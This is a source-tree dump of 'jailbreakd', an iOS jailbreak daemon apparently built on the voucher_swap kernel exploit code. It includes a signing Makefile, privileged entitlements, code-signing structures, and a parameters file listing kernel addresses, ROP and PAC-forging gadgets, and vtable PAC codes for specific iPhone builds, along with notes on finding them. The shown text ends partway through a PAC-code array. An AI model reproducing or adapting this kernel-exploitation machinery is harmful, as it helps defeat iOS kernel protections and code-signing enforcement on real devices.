├── .DS_Store
├── Ent.plist
├── IOKitLib.h
├── Makefile
├── README.md
├── cs_blob.h
├── ipc_port.h
├── kc_parameters.c
├── kc_parameters.h
├── kern_utils.h
├── kern_utils.m
├── kernel_call.c
├── kernel_call.h
├── kernel_memory.c
├── kernel_memory.h
├── kernel_slide.c
├── kernel_slide.h
├── kexecute.h
├── kexecute.m
├── kmem.c
├── kmem.h
├── launch.h
├── log.c
├── log.h
├── mach_vm.h
├── main.m
├── offsetof.c
├── offsetof.h
├── offsets.c
├── offsets.h
├── osobject.c
├── osobject.h
├── pac.c
├── pac.h
├── parameters.c
├── parameters.h
├── patchfinder64.c
├── patchfinder64.h
├── platform.c
├── platform.h
├── platform_match.c
├── platform_match.h
├── sandbox.c
├── sandbox.h
├── user_client.c
└── user_client.h
/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xSpiral/jailbreakd/624fc6244222bc5521cfdd6fdc257b8bc736e1fa/.DS_Store
--------------------------------------------------------------------------------
/Ent.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | platform-application
6 |
7 | get-task-allow
8 |
9 | com.apple.system-task-ports
10 |
11 | task_for_pid-allow
12 |
13 | com.apple.private.memorystatus
14 |
15 | com.apple.private.security.container-required
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/IOKitLib.h:
--------------------------------------------------------------------------------
1 | /*
2 | * IOKitLib.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__IOKITLIB_H_
6 | #define VOUCHER_SWAP__IOKITLIB_H_
7 |
8 | #include
9 | #include
10 |
11 | typedef mach_port_t io_object_t;
12 | typedef io_object_t io_connect_t;
13 | typedef io_object_t io_iterator_t;
14 | typedef io_object_t io_service_t;
15 |
16 | extern const mach_port_t kIOMasterPortDefault;
17 |
18 | kern_return_t
19 | IOObjectRelease(
20 | io_object_t object );
21 |
22 | io_object_t
23 | IOIteratorNext(
24 | io_iterator_t iterator );
25 |
26 | io_service_t
27 | IOServiceGetMatchingService(
28 | mach_port_t masterPort,
29 | CFDictionaryRef matching CF_RELEASES_ARGUMENT);
30 |
31 | kern_return_t
32 | IOServiceGetMatchingServices(
33 | mach_port_t masterPort,
34 | CFDictionaryRef matching CF_RELEASES_ARGUMENT,
35 | io_iterator_t * existing );
36 |
37 | kern_return_t
38 | IOServiceOpen(
39 | io_service_t service,
40 | task_port_t owningTask,
41 | uint32_t type,
42 | io_connect_t * connect );
43 |
44 | kern_return_t
45 | IOServiceClose(
46 | io_connect_t connect );
47 |
48 | kern_return_t
49 | IOConnectCallMethod(
50 | mach_port_t connection, // In
51 | uint32_t selector, // In
52 | const uint64_t *input, // In
53 | uint32_t inputCnt, // In
54 | const void *inputStruct, // In
55 | size_t inputStructCnt, // In
56 | uint64_t *output, // Out
57 | uint32_t *outputCnt, // In/Out
58 | void *outputStruct, // Out
59 | size_t *outputStructCnt) // In/Out
60 | AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
61 |
62 | kern_return_t
63 | IOConnectTrap6(io_connect_t connect,
64 | uint32_t index,
65 | uintptr_t p1,
66 | uintptr_t p2,
67 | uintptr_t p3,
68 | uintptr_t p4,
69 | uintptr_t p5,
70 | uintptr_t p6);
71 |
72 | CFMutableDictionaryRef
73 | IOServiceMatching(
74 | const char * name ) CF_RETURNS_RETAINED;
75 |
76 | #endif
77 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = jailbreakd
2 | OUTDIR ?= ../../bootstrap/bins
3 |
4 | CC = xcrun -sdk iphoneos cc -arch arm64e -Iinclude
5 | #-Linclude -lrocketbootstrap -Iinclude AppSupport.tbd
6 | LDID = ldid2
7 | CFLAGS = -Wall -Wno-unused-variable -Wno-unused-function
8 |
9 | .PHONY: all clean
10 |
11 | all: $(OUTDIR)/$(TARGET)
12 |
13 | DEBUG ?= 1
14 | ifeq ($(DEBUG), 1)
15 | CFLAGS += -DJAILBREAKDDEBUG
16 | else
17 | CFLAGS += -O2
18 | endif
19 |
20 | $(OUTDIR):
21 | mkdir -p $(OUTDIR)
22 |
23 | $(OUTDIR)/$(TARGET): *.c *.m | $(OUTDIR)
24 | $(CC) -o $@ $^ -framework Foundation -framework IOKit $(CFLAGS)
25 |
26 | export LANG=C
27 | export LC_CTYPE=C
28 | export LC_ALL=C
29 | #sed -i "" 's/\/usr\/lib\/librocketbootstrap.dylib/\/var\/ulb\/librocketbootstrap.dylib/g' $@
30 |
31 | $(LDID) -SEnt.plist $@
32 | tar --disable-copyfile -cvf $(OUTDIR)/$(TARGET).tar -C $(OUTDIR) $(TARGET)
33 | rm $@
34 |
35 | clean:
36 | rm -f $(OUTDIR)/$(TARGET)
37 | rm -f $(OUTDIR)/$(TARGET).tar
38 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # jailbreakd
2 |
--------------------------------------------------------------------------------
/cs_blob.h:
--------------------------------------------------------------------------------
1 | //from: xnu osfmk/kern/cs_blobs.h
2 |
3 | typedef struct __attribute__((packed)) {
4 | uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
5 | uint32_t length; /* total length of CodeDirectory blob */
6 | uint32_t version; /* compatibility version */
7 | uint32_t flags; /* setup and mode flags */
8 | uint32_t hashOffset; /* offset of hash slot element at index zero */
9 | uint32_t identOffset; /* offset of identifier string */
10 | uint32_t nSpecialSlots; /* number of special hash slots */
11 | uint32_t nCodeSlots; /* number of ordinary (code) hash slots */
12 | uint32_t codeLimit; /* limit to main image signature range */
13 | uint8_t hashSize; /* size of each hash in bytes */
14 | uint8_t hashType; /* type of hash (cdHashType* constants) */
15 | uint8_t platform; /* platform identifier; zero if not platform binary */
16 | uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */
17 | uint32_t spare2; /* unused (must be zero) */
18 |
19 | char end_earliest[0];
20 |
21 | /* Version 0x20100 */
22 | uint32_t scatterOffset; /* offset of optional scatter vector */
23 | char end_withScatter[0];
24 |
25 | /* Version 0x20200 */
26 | uint32_t teamOffset; /* offset of optional team identifier */
27 | char end_withTeam[0];
28 |
29 | /* Version 0x20300 */
30 | uint32_t spare3; /* unused (must be zero) */
31 | uint64_t codeLimit64; /* limit to main image signature range, 64 bits */
32 | char end_withCodeLimit64[0];
33 |
34 | /* Version 0x20400 */
35 | uint64_t execSegBase; /* offset of executable segment */
36 | uint64_t execSegLimit; /* limit of executable segment */
37 | uint64_t execSegFlags; /* executable segment flags */
38 | char end_withExecSeg[0];
39 | } CodeDirectory;
40 |
41 | typedef struct __attribute__((packed)) {
42 | uint32_t type; /* type of entry */
43 | uint32_t offset; /* offset of entry */
44 | } CS_BlobIndex;
45 |
46 | typedef struct __attribute__((packed)) {
47 | uint32_t magic; /* magic number */
48 | uint32_t length; /* total length of SuperBlob */
49 | uint32_t count; /* number of index entries following */
50 | CS_BlobIndex index[]; /* (count) entries */
51 | /* followed by Blobs in no particular order as indicated by offsets in index */
52 | } CS_SuperBlob;
53 |
54 | /*
55 | * Magic numbers used by Code Signing
56 | */
57 | enum {
58 | CSMAGIC_REQUIREMENT = 0xfade0c00, /* single Requirement blob */
59 | CSMAGIC_REQUIREMENTS = 0xfade0c01, /* Requirements vector (internal requirements) */
60 | CSMAGIC_CODEDIRECTORY = 0xfade0c02, /* CodeDirectory blob */
61 | CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0, /* embedded form of signature data */
62 | CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02, /* XXX */
63 | CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171, /* embedded entitlements */
64 | CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1, /* multi-arch collection of embedded signatures */
65 | CSMAGIC_BLOBWRAPPER = 0xfade0b01, /* CMS Signature, among other things */
66 |
67 | CS_SUPPORTSSCATTER = 0x20100,
68 | CS_SUPPORTSTEAMID = 0x20200,
69 | CS_SUPPORTSCODELIMIT64 = 0x20300,
70 | CS_SUPPORTSEXECSEG = 0x20400,
71 |
72 | CSSLOT_CODEDIRECTORY = 0, /* slot index for CodeDirectory */
73 | CSSLOT_INFOSLOT = 1,
74 | CSSLOT_REQUIREMENTS = 2,
75 | CSSLOT_RESOURCEDIR = 3,
76 | CSSLOT_APPLICATION = 4,
77 | CSSLOT_ENTITLEMENTS = 5,
78 |
79 | CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, /* first alternate CodeDirectory, if any */
80 | CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, /* max number of alternate CD slots */
81 | CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, /* one past the last */
82 |
83 | CSSLOT_SIGNATURESLOT = 0x10000, /* CMS Signature */
84 |
85 | CSTYPE_INDEX_REQUIREMENTS = 0x00000002, /* compat with amfi */
86 | CSTYPE_INDEX_ENTITLEMENTS = 0x00000005, /* compat with amfi */
87 |
88 | CS_HASHTYPE_SHA1 = 1,
89 | CS_HASHTYPE_SHA256 = 2,
90 | CS_HASHTYPE_SHA256_TRUNCATED = 3,
91 | CS_HASHTYPE_SHA384 = 4,
92 |
93 | CS_SHA1_LEN = 20,
94 | CS_SHA256_LEN = 32,
95 | CS_SHA256_TRUNCATED_LEN = 20,
96 |
97 | CS_CDHASH_LEN = 20, /* always - larger hashes are truncated */
98 | CS_HASH_MAX_SIZE = 48, /* max size of the hash we'll support */
99 |
100 | /*
101 | * Currently only to support Legacy VPN plugins,
102 | * but intended to replace all the various platform code, dev code etc. bits.
103 | */
104 | CS_SIGNER_TYPE_UNKNOWN = 0,
105 | CS_SIGNER_TYPE_LEGACYVPN = 5,
106 | };
107 |
108 | /*
109 | * Choose among different hash algorithms.
110 | * Higher is better, 0 => don't use at all.
111 | */
112 | static const uint32_t hashPriorities[] = {
113 | CS_HASHTYPE_SHA1,
114 | CS_HASHTYPE_SHA256_TRUNCATED,
115 | CS_HASHTYPE_SHA256,
116 | CS_HASHTYPE_SHA384,
117 | };
118 |
119 | typedef struct __SC_GenericBlob {
120 | uint32_t magic; /* magic number */
121 | uint32_t length; /* total length of blob */
122 | char data[];
123 | } CS_GenericBlob;
124 |
125 | /*
126 | * C form of a CodeDirectory.
127 | */
128 | typedef struct __CodeDirectory {
129 | uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
130 | uint32_t length; /* total length of CodeDirectory blob */
131 | uint32_t version; /* compatibility version */
132 | uint32_t flags; /* setup and mode flags */
133 | uint32_t hashOffset; /* offset of hash slot element at index zero */
134 | uint32_t identOffset; /* offset of identifier string */
135 | uint32_t nSpecialSlots; /* number of special hash slots */
136 | uint32_t nCodeSlots; /* number of ordinary (code) hash slots */
137 | uint32_t codeLimit; /* limit to main image signature range */
138 | uint8_t hashSize; /* size of each hash in bytes */
139 | uint8_t hashType; /* type of hash (cdHashType* constants) */
140 | uint8_t spare1; /* unused (must be zero) */
141 | uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */
142 | uint32_t spare2; /* unused (must be zero) */
143 | /* followed by dynamic content as located by offset fields above */
144 | } CS_CodeDirectory;
145 |
146 | #define CS_OPS_ENTITLEMENTS_BLOB 7 /* get entitlements blob */
147 | int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);
148 |
149 | struct cs_blob {
150 | struct cs_blob *csb_next;
151 | cpu_type_t csb_cpu_type;
152 | unsigned int csb_flags;
153 | off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */
154 | off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */
155 | off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */
156 | vm_size_t csb_mem_size;
157 | vm_offset_t csb_mem_offset;
158 | vm_address_t csb_mem_kaddr;
159 | unsigned char csb_cdhash[CS_CDHASH_LEN];
160 | const struct cs_hash *csb_hashtype;
161 | vm_size_t csb_hash_pagesize; /* each hash entry represent this many bytes in the file */
162 | vm_size_t csb_hash_pagemask;
163 | vm_size_t csb_hash_pageshift;
164 | vm_size_t csb_hash_firstlevel_pagesize; /* First hash this many bytes, then hash the hashes together */
165 | CS_CodeDirectory *csb_cd;
166 | char *csb_teamid;
167 | CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
168 | void * csb_entitlements; /* The entitlements as an OSDictionary */
169 | unsigned int csb_signer_type;
170 |
171 | /* The following two will be replaced by the csb_signer_type. */
172 | unsigned int csb_platform_binary:1;
173 | unsigned int csb_platform_path:1;
174 | };
175 |
176 |
177 | #define TF_PLATFORM 0x400
178 |
179 | #define CS_VALID 0x0000001 /* dynamically valid */
180 | #define CS_ADHOC 0x0000002 /* ad hoc signed */
181 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
182 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
183 |
184 | #define CS_HARD 0x0000100 /* don't load invalid pages */
185 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */
186 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */
187 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
188 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */
189 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */
190 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000
191 |
192 | #define CS_ALLOWED_MACHO 0x00ffffe
193 |
194 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */
195 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */
196 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */
197 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */
198 |
199 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */
200 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */
201 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
202 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */
203 |
204 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
205 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
206 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
207 |
208 |
--------------------------------------------------------------------------------
/ipc_port.h:
--------------------------------------------------------------------------------
1 | /*
2 | * ipc_port.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__IPC_PORT_H_
6 | #define VOUCHER_SWAP__IPC_PORT_H_
7 |
8 | #include
9 | #include
10 |
11 | // ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
12 |
13 | #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
14 |
15 | #define WQT_QUEUE 0x2
16 |
17 | union waitq_flags {
18 | struct {
19 | uint32_t /* flags */
20 | waitq_type:2, /* only public field */
21 | waitq_fifo:1, /* fifo wakeup policy? */
22 | waitq_prepost:1, /* waitq supports prepost? */
23 | waitq_irq:1, /* waitq requires interrupts disabled */
24 | waitq_isvalid:1, /* waitq structure is valid */
25 | waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
26 | waitq_eventmask:_EVENT_MASK_BITS;
27 | };
28 | uint32_t flags;
29 | };
30 |
31 | // ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
32 |
33 | #define IKOT_NONE 0
34 | #define IKOT_TASK 2
35 |
36 | // ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
37 |
38 | #define IO_BITS_KOTYPE 0x00000fff /* used by the object */
39 | #define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
40 |
41 | #define io_makebits(active, otype, kotype) \
42 | (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
43 |
44 | #define IOT_PORT 0
45 |
46 | // ---- Custom definitions ------------------------------------------------------------------------
47 |
48 | #define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
49 |
50 | // ------------------------------------------------------------------------------------------------
51 |
52 | #endif
53 |
--------------------------------------------------------------------------------
/kc_parameters.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/kc_parameters.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_CALL_PARAMETERS_EXTERN
6 | #include "kc_parameters.h"
7 |
8 | #include "kernel_slide.h"
9 | #include "log.h"
10 | #include "platform.h"
11 | #include "platform_match.h"
12 |
13 | // ---- Initialization routines -------------------------------------------------------------------
14 |
15 | // A struct describing an initialization.
16 | struct initialization {
17 | const char *devices;
18 | const char *builds;
19 | void (*init)(void);
20 | };
21 |
22 | // Run initializations matching this platform.
23 | static size_t
24 | run_initializations(struct initialization *inits, size_t count) {
25 | size_t match_count = 0;
26 | for (size_t i = 0; i < count; i++) {
27 | struct initialization *init = &inits[i];
28 | if (platform_matches(init->devices, init->builds)) {
29 | init->init();
30 | match_count++;
31 | }
32 | }
33 | return match_count;
34 | }
35 |
36 | // A helper macro to get the number of elements in a static array.
37 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
38 |
39 | // ---- Offset initialization ---------------------------------------------------------------------
40 |
41 | static void
42 | offsets__iphone11_8__16C50() {
43 | OFFSET(IOAudio2DeviceUserClient, traps) = 0x118;
44 |
45 | SIZE(IOExternalTrap) = 0x18;
46 | OFFSET(IOExternalTrap, object) = 0;
47 | OFFSET(IOExternalTrap, function) = 8;
48 | OFFSET(IOExternalTrap, offset) = 16;
49 |
50 | OFFSET(IORegistryEntry, reserved) = 16;
51 | OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8;
52 |
53 | VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8;
54 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8;
55 | }
56 |
57 | // A list of offset initializations by platform.
58 | static struct initialization offsets[] = {
59 | { "*", "*", offsets__iphone11_8__16C50 },
60 | };
61 |
62 | // ---- Address initialization --------------------------------------------------------------------
63 |
64 | #define SLIDE(address) (address == 0 ? 0 : address + kernel_slide)
65 |
66 | static void
67 | addresses__iphone11_8__16C50() {
68 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008f3ce30);
69 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008f3ce38);
70 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff0090b72a0);
71 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008f3cd18);
72 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007ebd1f0);
73 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff0087f7cd8);
74 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00882912c);
75 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff0087e82dc);
76 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b66d38);
77 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b66d60);
78 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077b4e28);
79 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080158f0);
80 |
81 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
82 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
83 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
84 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
85 | }
86 |
87 | static void
88 | addresses__iphone11_2__16C50() {
89 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008fd8be8);
90 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008fd8bf0);
91 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff009154688);
92 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008fd8ad0);
93 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007eed1f0);
94 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff00885b230);
95 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00888c684);
96 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff00884b834);
97 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b96d38);
98 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b96d60);
99 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
100 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
101 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
102 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
103 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077d4e28);
104 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080458f0);
105 | }
106 |
107 | static void
108 | addresses__iphone10_1__16B92() {
109 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc668);
110 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff007594f04);
111 | }
112 |
113 | static void
114 | addresses__iphone10_1__16C101() {
115 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc648);
116 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff00759424c);
117 | }
118 |
119 | static void
120 | addresses__iphone11_6__16A405() {
121 | // string com.apple.driver.AppleSynopsysOTGDevice
122 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008fe4c80);
123 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008fe4c88);
124 |
125 | // Go to *(module start)
126 | // look for _IOLog("L2TP domain init : can't add proto to l2tp domain, err : %d\n");
127 | // call before that does bzero on l2tp_domain_inited + 8
128 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff0091607e8);
129 |
130 | // sysctl_unregister_oid(sysctl__net_ppp_l2tp) is called in the end of *(module start/stop)
131 | // Right after
132 | // _IOLog("L2TP domain terminate : PF_PPP domain does not exist...\n");
133 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008fe4b68);
134 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007f098a0);
135 | // Either search for exact match in hex editor
136 | // Or dump whole fairplayiokit and look for gadgets in it
137 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff00886c278);
138 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00889d6cc);
139 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff00885c87c);
140 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007bb2c58);
141 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007bb2c80);
142 |
143 | // Start disassembling whole kernel
144 | // look for __ZN11OSMetaClassC2EPKcPKS_j(ARG-1,"IOUserClient",...);
145 | // there would be two occurencies
146 | // between them vtable would be referenced twice
147 | // in two identical functions following each other
148 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077f0e48);
149 |
150 | // Look for __ZNK15IORegistryEntry16copyPropertyKeysEv in
151 | // jtool2 ((beta 1, TLV) compiled on Jan 31 2019 14:42:24)
152 | // companion file -- it's two lines below
153 | // verify that second destructor calls zfree
154 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff008061b90);
155 |
156 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
157 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
158 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
159 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
160 | }
161 |
162 | // A list of address initializations by platform.
163 | static struct initialization addresses[] = {
164 | { "iPhone11,8", "16C50-16C104", addresses__iphone11_8__16C50 },
165 | { "iPhone11,6", "16C50-16C104", addresses__iphone11_2__16C50 },
166 | { "iPhone10,1", "16B92", addresses__iphone10_1__16B92 },
167 | { "iPhone10,1", "16C101", addresses__iphone10_1__16C101 },
168 | { "iPhone11,6", "16A405", addresses__iphone11_6__16A405 },
169 | };
170 |
171 | // ---- PAC initialization ------------------------------------------------------------------------
172 |
173 | //#if __arm64e__
174 |
175 | static void
176 | pac__iphone11_8__16C50() {
177 | INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
178 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
179 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
180 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
181 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
182 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
183 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
184 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
185 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
186 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
187 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
188 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
189 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
190 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
191 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
192 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
193 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
194 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
195 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
196 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
197 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
198 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352,
199 | 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b,
200 | 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23,
201 | 0x2bcb);
202 |
203 | INIT_VTABLE_PAC_CODES(IODTNVRAM,
204 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
205 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
206 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
207 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
208 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
209 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
210 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
211 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
212 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
213 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
214 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
215 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
216 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
217 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
218 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
219 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
220 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
